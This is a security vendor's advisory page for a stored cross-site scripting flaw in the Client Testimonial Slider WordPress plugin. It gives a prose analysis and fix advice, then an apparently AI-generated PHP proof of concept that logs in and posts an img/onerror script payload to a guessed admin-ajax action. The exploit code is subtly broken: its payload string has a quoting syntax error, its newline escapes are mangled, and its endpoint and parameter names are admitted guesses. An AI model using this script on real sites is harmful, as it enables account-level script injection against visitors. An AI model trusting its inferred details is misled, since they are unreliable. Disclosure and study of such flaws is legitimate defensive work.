Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2716: Client Testimonial Slider <= 2.0 – Authenticated (Administrator+) Stored Cross-Site Scripting via 'Testimonial Heading' Setting (wp-client-testimonial)

CVE ID CVE-2026-2716
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 2.0
Patched Version
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2716 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Client Testimonial Slider WordPress plugin, affecting all versions up to and including 2.0. The vulnerability exists within the ‘Testimonial Heading’ setting, allowing attackers with administrator-level privileges to inject arbitrary JavaScript. The CVSS score of 4.4 reflects the high privileges required and the conditional nature of the exploit, which only affects multi-site installations or those where the ‘unfiltered_html’ capability is disabled.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping on the ‘Testimonial Heading’ setting value. This is a direct inference from the CWE-79 classification and the vulnerability description. The plugin likely saves user-supplied input from an admin form field without proper sanitization using functions like `sanitize_text_field`. It then outputs this unsanitized data without escaping functions like `esc_html` or `wp_kses`. The description confirms the lack of sanitization and escaping, but the exact code location is inferred from typical WordPress plugin patterns for admin settings.

Exploitation requires an authenticated attacker with administrator or super-admin privileges. The attacker would navigate to the plugin’s settings page in the WordPress admin dashboard, locate the ‘Testimonial Heading’ input field, and submit a malicious payload such as ``. This payload would be stored in the database. The script executes in the frontend context whenever a page loads the testimonial slider component, potentially affecting all site visitors. The attack vector is a standard POST request to an admin-ajax handler or admin-post endpoint with an action parameter related to saving plugin settings.

Remediation requires implementing proper input validation and output escaping. The plugin should sanitize the ‘Testimonial Heading’ input on save using `sanitize_text_field` or a more context-appropriate function. It must also escape the output on render using `esc_html` or `wp_kses`. For WordPress plugins, output escaping is often the more critical layer of defense. A patch would involve wrapping the echoed setting value in an escaping function within the plugin’s frontend display template or shortcode handler.

The impact of successful exploitation is client-side code execution in the context of the vulnerable site. An attacker can perform actions as the victim user, such as stealing session cookies, redirecting to malicious sites, or performing actions on behalf of the user. In a WordPress multisite context, a compromised super-admin could potentially attack other sites on the network. The vulnerability does not directly lead to server compromise, but it can facilitate social engineering, data theft, and privilege escalation within the application.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2716 - Client Testimonial Slider <= 2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Testimonial Heading' Setting
<?php
/**
 * Proof of Concept for CVE-2026-2716.
 * Assumptions based on metadata:
 * 1. The plugin uses a standard WordPress AJAX or admin-post handler to save settings.
 * 2. The vulnerable parameter is named related to 'testimonial_heading' or similar.
 * 3. The action hook name is derived from the plugin slug 'wp-client-testimonial'.
 * 4. Administrator credentials are required; the script includes a login step.
 */

$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'admin';
$password = 'password';

// Payload: Basic XSS proof-of-concept.
$malicious_heading = '<img src=x onerror=alert('Atomic Edge XSS on '+document.domain)>';

// Initialize cURL session for cookie persistence.
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Check for login success by looking for dashboard indicators.
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Step 2: Exploit the vulnerable 'Testimonial Heading' setting.
// Assumed endpoint: WordPress admin-ajax.php with a plugin-specific action.
// Common pattern: action='wp_client_testimonial_save_settings' or similar.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
$exploit_fields = [
    'action' => 'wp_client_testimonial_save_settings', // Inferred action name
    'testimonial_heading' => $malicious_heading, // Inferred parameter name
    // Include a nonce if required; this PoC assumes the vulnerability may bypass nonce checks.
    // 'nonce' => 'extracted_nonce' // Would require fetching from a settings page first.
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$response = curl_exec($ch);

// Step 3: Verify payload was stored by visiting a page with the testimonial slider.
// This step checks if the script is present in the page source.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, false);
$frontend_response = curl_exec($ch);
curl_close($ch);

if (strpos($frontend_response, $malicious_heading) !== false) {
    echo "Payload successfully injected. Check the frontend page source.n";
} else {
    echo "Injection may have failed or the payload is not displayed on the homepage.n";
    echo "Try visiting a specific page with the [client-testimonial] shortcode.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School